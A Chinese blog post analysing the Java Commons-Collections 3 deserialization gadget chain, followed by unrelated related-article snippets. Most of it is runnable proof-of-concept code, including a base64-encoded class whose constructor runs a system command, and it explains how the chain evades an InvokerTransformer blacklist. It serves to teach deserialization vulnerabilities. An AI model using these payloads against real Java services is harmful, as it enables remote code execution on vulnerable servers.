当前位置: 首页 > news >正文

Java反序列化漏洞——CommonsCollections3链分析

一、原理

CC1链中我们是通过调用Runtime.getRuntime.exec()来执行系统命令,而另一个方向我们可以通过TemplatesImpl加载字节码的类,通过调⽤其newTransformer() 方法,即可执⾏这段字节码的类构造器,我们在类构造器中加入恶意代码,即可执行任意命令。

二、分析构造

1.CC1链

  • 在CC1链中,我们的payload如下

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
outerMap.put("test", "xxxx");

2.TemplatesImpl动态加载

  • 我们用TemplatesImpl()动态加载字节码如下:

byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "test");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  • 其中setFieldValue()的代码如下:

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);
}
  • 其中base64中的内容为如下编译后base64出来的,参考

package com.TemplastesImplTest;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;public class codeTest extends AbstractTranslet {@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public codeTest() throws Exception{Runtime.getRuntime().exec("calc");}
}

3.transformers设置

  • 那么两个合并到一起就可以执行任意字节码,只需要将第⼀个demo中InvokerTransformer执⾏的“⽅法”改成TemplatesImpl::newTransformer()

Transformer[] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer", null, null)
};

4.则改造好的payload如下:

public class CC3 {public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][] {code});setFieldValue(obj, "_name", "test");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer[] newTransformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer", null, null)};ChainedTransformer chainedTransformer = new ChainedTransformer(newTransformers);HashMap hashMap = new HashMap();Map decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);decorate.put("test","test");}
}

三、ysoserial的CC3链分析

1.背景

  • 2015年初,@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及Java反序列化利⽤⼯具ysoserial,随后引爆了安全界。开发者们⾃然会去找寻⼀种安全的过滤⽅法,于是类似SerialKiller这样的⼯具随之诞⽣。

  • SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在其发布的第⼀个版本代码中,我们可以看到其给出了最初的⿊名单:

  • 这个⿊名单中InvokerTransformer赫然在列,也就切断了CommonsCollections1的利⽤链。有攻就有防,ysoserial随后增加了不少新的Gadgets,其中就包括CommonsCollections3。

2.TrAXFilter

  • CommonsCollections3的⽬的很明显,就是为了绕过⼀些规则对InvokerTransformer的限制。CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法,⽽是⽤到了另⼀个类,com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

  • 这个类的构造⽅法中调⽤了(TransformerImpl) templates.newTransformer() ,免去了我们使⽤InvokerTransformer⼿⼯调⽤newTransformer() ⽅法这⼀步

3.InstantiateTransformer

  • 当然,缺少了InvokerTransformer,TrAXFilter的构造⽅法也是⽆法调⽤的。这⾥会⽤到⼀个新的Transformer,就是org.apache.commons.collections.functors.InstantiateTransformer

  • InstantiateTransformer也是⼀个实现了Transformer接⼝的类,他的作⽤就是调⽤构造⽅法。所以,我们实现的⽬标就是,利⽤InstantiateTransformer 来调⽤到TrAXFilter 的构造⽅法,再利⽤其构造⽅法⾥的templates.newTransformer() 调⽤到TemplatesImpl ⾥的字节码

4.CommonsCollections3

  • 所以新构造的Transformer调用链如下:

Transformer[] newTransformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})};
  • 则重新改造的payload如下:

public class CC3 {public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][] {code});setFieldValue(obj, "_name", "test");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer[] newTransformersnewfail = new Transformer[]{new ConstantTransformer(1)};Transformer[] newTransformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})};ChainedTransformer chainedTransformer = new ChainedTransformer(newTransformersnewfail);HashMap hashMap = new HashMap();Map decorate = LazyMap.decorate(hashMap, chainedTransformer);TiedMapEntry tme = new TiedMapEntry(decorate, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");decorate.remove("keykey");Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(chainedTransformer, newTransformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));objectInputStream.readObject();}
}

相关文章:

Java反序列化漏洞——CommonsCollections3链分析

一、原理CC1链中我们是通过调用Runtime.getRuntime.exec()来执行系统命令,而另一个方向我们可以通过TemplatesImpl加载字节码的类,通过调⽤其newTransformer() 方法,即可执⾏这段字节码的类构造器,我们在类构造器中加入恶意代码&a…...

英文论文(sci)解读复现【NO.5】让RepVGG再次变得更强大:一种量化感知方法

此前出了目标检测算法改进专栏,但是对于应用于什么场景,需要什么改进方法对应与自己的应用场景有效果,并且多少改进点能发什么水平的文章,为解决大家的困惑,此系列文章旨在给大家解读发表高水平学术期刊中的SCI论文&am…...

hive学习(仅供参考)

hive搭建Hive什么是hiveHive的优势和特点hive搭建解压、改名修改环境变量添加hive-site.xml将maven架包拷贝到hive替换一下gua包使环境变量生效初始化安装成功Hive 什么是hive 将结构化的数据文件映射为数据库表 提供类sql的查询语言HQL(Hive Query Language) Hive让更多的人…...

新生儿住月子中心20天患败血症 什么是败血症?有哪些危害

12月7日,四川眉山市民唐先生说,他刚出生的儿子在妇产医院分娩中心住了20天后感染了败血症。据唐先生介绍,哈子出院时各项指标正常。他在分娩中心住了半个月左右,孩子喝牛奶异常易怒,第二天开始发烧。当天,在…...

2023年美赛赛题A题赛题公布

问题A:遭受旱灾的植物群落背景不同种类的植物对压力的反应方式不同。例如,草原是相当的对干旱敏感。干旱发生的频率和严重程度各不相同。大量的观察表明,不同物种的数量在一个物种如何生长的过程中起着重要作用植物群落在连续几代的干旱周期中适应。在一…...

交互式前端开发最好用的WebGL框架

JavaScript是创建Web最有用的编程语言之一,尤其是在WebGL库的支持下。有了WebGL,可以很方便地使用 HTML5 Canvas 元素动态生成图形。因此,设计师和开发人员很容易创建流畅的2D和3D效果。WebGL是JavaScript API或基于OpenGL的库,它…...

【Java 面试合集】包装类的缓存问题

包装类的缓存问题1. 概述 嗨,大家好,【Java 面试合集】每日一题又来了。今天我们分享的内容是:包装类的缓存问题。 我们下面的案例以Integer 为例 2. 表现 public class TestCache {public static void main(String[] args) {Integer i 127…...

JAVA PYTHONGOLANG在STR LIST MAP 等数据结构的一些底层设计

一、列表和扩容机制 JAVA的列表主要分为list和vector,list是线程不安全的。list又主要分为ArrayList和LinkedList,ArrayList底层通过object数组实现,可以实现快速查找,LinkedList底层通过双向列表实现。java常用的列表实现类为ArrayList,ArrayList的主要源码如下: publi…...

SpringMVC处理ajax请求

RequestBodyRequestBody:将请求体中的内容和控制器方法的形参进行绑定。使用RequestBody注解将json格式请求参数转换为java对象。条件&#xff1a;1. 导入jackson依赖 (默认调用jackson功能实现的)2. 在springmvc的配置文件中设置开启<mvc:annotation-driven/>3. 在处理请…...

Spire.Office 8.2.2 for NET 开年之喜

Spire.Office for .NET对文档的操作包括打开&#xff0c;创建&#xff0c;修改&#xff0c;转换&#xff0c;打印&#xff0c;浏览 Word、Excel、PowerPoint 和 PDF 文档&#xff0c;以及将数据从数据源导出为常用的文档格式&#xff0c;如&#xff1a;Word&#xff0c;Excel&a…...

python中的.nc文件处理 | 04 利用矢量边界提取NC数据

利用矢量边界提取.nc数据 import osimport numpy as np import pandas as pd import matplotlib.pyplot as plt import cartopy.crs as ccrs import cartopy.feature as cfeature import seaborn as sns import geopandas as gpd import earthpy as et import xarray as xr # …...

使用 PyNeuraLogic 超越 Transformers

展示神经符号编程的力量neuro-symbolic1. 简介 在过去的几年里&#xff0c;我们看到了基于 Transformer 的模型的兴起&#xff0c;并在自然语言处理或计算机视觉等许多领域取得了成功的应用。在本文[1]中&#xff0c;我们将探索一种简洁、可解释和可扩展的方式来表达深度学习模…...

微信点金计划(服务商角度)

时间&#xff1a;2023/2/17 背景&#xff1a;微信在推出点金计划后&#xff0c;原本window.WeixinJSBridge.invoke方法的回调失效了&#xff0c;需要在微信支付服务商平台&#xff5c;平台开放更多能力&#xff0c;与服务商一起成长这里进行配置&#xff0c;配置流程跟着官方给…...

2023年美赛 MCM B题 重新构想马赛马拉岛

背景肯尼亚的野生动物保护区最初主要是为了保护野生动物和其他自然资源。肯尼亚议会于2013 年通过了《野生动物保护和管理法》&#xff0c;以提供更公平的资源共享&#xff0c;并允许进行替代的、以社 区为基础的管理工作[1].此后&#xff0c;肯尼亚增加了修正案&#xff0c;以…...

指标体系的应用与搭建

一、指标体系的介绍 体系泛指一定范围内同类事物按照一定的顺序或内在联系而组成的整体。指标体系也一样&#xff0c;指的是不同指标按照一定的顺序及内部联系而组成的整体。此外&#xff0c;在指标体系中&#xff0c;除了以应用为出发点搭建&#xff0c;还会加入使用指南&…...

固态继电器的五大优势

固态继电器的优点和五个关键优势&#xff0c;现代电气控制系统因二极管、晶体管和晶闸管等固态器件的发明而得到极大的增强。对于加热器和电机等大负载设备&#xff0c;固态继电器可能比传统的机械继电器具有巨大的优势。 虽然并非适用于所有情况&#xff0c;但它们具有许多吸引…...

特征检测之HOG特征算法详解及Opencv接口使用

1. HOG特征简介 特征描述符是图像或图像补丁的表示形式&#xff0c;它通过提取有用信息并丢弃无关信息来简化图像。 通常&#xff0c;特征描述符将大小W x H x 3&#xff08;通道&#xff09;的图像转换为长度为n的特征向量/数组。对于 HOG 特征描述符&#xff0c;输入图像的…...

一款好的低代码开发平台应该是什么样?

一款好的低代码开发平台应该是什么样&#xff1f; 以企业级应用构建来讲&#xff0c;完成一个应用复杂度随着技术的进步、需求的细化、业务要求的变化并不是逐渐降低&#xff0c;而是逐渐提升。用户想要有更好的体验&#xff0c;复杂度更是成倍提升。 基于此&#xff0c;低代码…...

基于Spring cloud搭建oauth2

1&#xff0c;OAuth2.0简介 OAuth&#xff08;开发授权&#xff09;是一个开放标准&#xff0c;允许用户授权第三方应用访问他们存储在另外的服务提供者上的信息&#xff0c;而不需要将用户名和密码提供给第三方应用或分享他们数据的所有内容。 OAuth2.0是OAuth的延续&#xf…...

实现一个小程序分享图 wxml2canvas

我们经常会遇上动态生成海报的需求&#xff0c;而在小程序中&#xff0c;生成图片非Canvas莫属。但是在实际工作当中&#xff0c;为了追求效率&#xff0c;我们会不可避免地去使用一些JS插件&#xff0c;而 wxml-to-canvas 就是一款官方推荐且非常优秀的插件&#xff0c;它可以…...

ESP32 I2S音频总线学习笔记(四): INMP441采集音频并实时播放

简介 前面两期文章我们介绍了I2S的读取和写入&#xff0c;一个是通过INMP441麦克风模块采集音频&#xff0c;一个是通过PCM5102A模块播放音频&#xff0c;那如果我们将两者结合起来&#xff0c;将麦克风采集到的音频通过PCM5102A播放&#xff0c;是不是就可以做一个扩音器了呢…...

算法笔记2

1.字符串拼接最好用StringBuilder&#xff0c;不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格...

Angular微前端架构:Module Federation + ngx-build-plus (Webpack)

以下是一个完整的 Angular 微前端示例&#xff0c;其中使用的是 Module Federation 和 npx-build-plus 实现了主应用&#xff08;Shell&#xff09;与子应用&#xff08;Remote&#xff09;的集成。 &#x1f6e0;️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...

springboot整合VUE之在线教育管理系统简介

可以学习到的技能 学会常用技术栈的使用 独立开发项目 学会前端的开发流程 学会后端的开发流程 学会数据库的设计 学会前后端接口调用方式 学会多模块之间的关联 学会数据的处理 适用人群 在校学生&#xff0c;小白用户&#xff0c;想学习知识的 有点基础&#xff0c;想要通过项…...

C#学习第29天:表达式树(Expression Trees)

目录 什么是表达式树&#xff1f; 核心概念 1.表达式树的构建 2. 表达式树与Lambda表达式 3.解析和访问表达式树 4.动态条件查询 表达式树的优势 1.动态构建查询 2.LINQ 提供程序支持&#xff1a; 3.性能优化 4.元数据处理 5.代码转换和重写 适用场景 代码复杂性…...

Redis:现代应用开发的高效内存数据存储利器

一、Redis的起源与发展 Redis最初由意大利程序员Salvatore Sanfilippo在2009年开发&#xff0c;其初衷是为了满足他自己的一个项目需求&#xff0c;即需要一个高性能的键值存储系统来解决传统数据库在高并发场景下的性能瓶颈。随着项目的开源&#xff0c;Redis凭借其简单易用、…...

协议转换利器,profinet转ethercat网关的两大派系,各有千秋

随着工业以太网的发展&#xff0c;其高效、便捷、协议开放、易于冗余等诸多优点&#xff0c;被越来越多的工业现场所采用。西门子SIMATIC S7-1200/1500系列PLC集成有Profinet接口&#xff0c;具有实时性、开放性&#xff0c;使用TCP/IP和IT标准&#xff0c;符合基于工业以太网的…...

ubuntu22.04有线网络无法连接,图标也没了

今天突然无法有线网络无法连接任何设备&#xff0c;并且图标都没了 错误案例 往上一顿搜索&#xff0c;试了很多博客都不行&#xff0c;比如 Ubuntu22.04右上角网络图标消失 最后解决的办法 下载网卡驱动&#xff0c;重新安装 操作步骤 查看自己网卡的型号 lspci | gre…...

Sklearn 机器学习 缺失值处理 获取填充失值的统计值

💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 使用 Scikit-learn 处理缺失值并提取填充统计信息的完整指南 在机器学习项目中,数据清…...

前端开发者常用网站

Can I use网站&#xff1a;一个查询网页技术兼容性的网站 一个查询网页技术兼容性的网站Can I use&#xff1a;Can I use... Support tables for HTML5, CSS3, etc (查询浏览器对HTML5的支持情况) 权威网站&#xff1a;MDN JavaScript权威网站&#xff1a;JavaScript | MDN...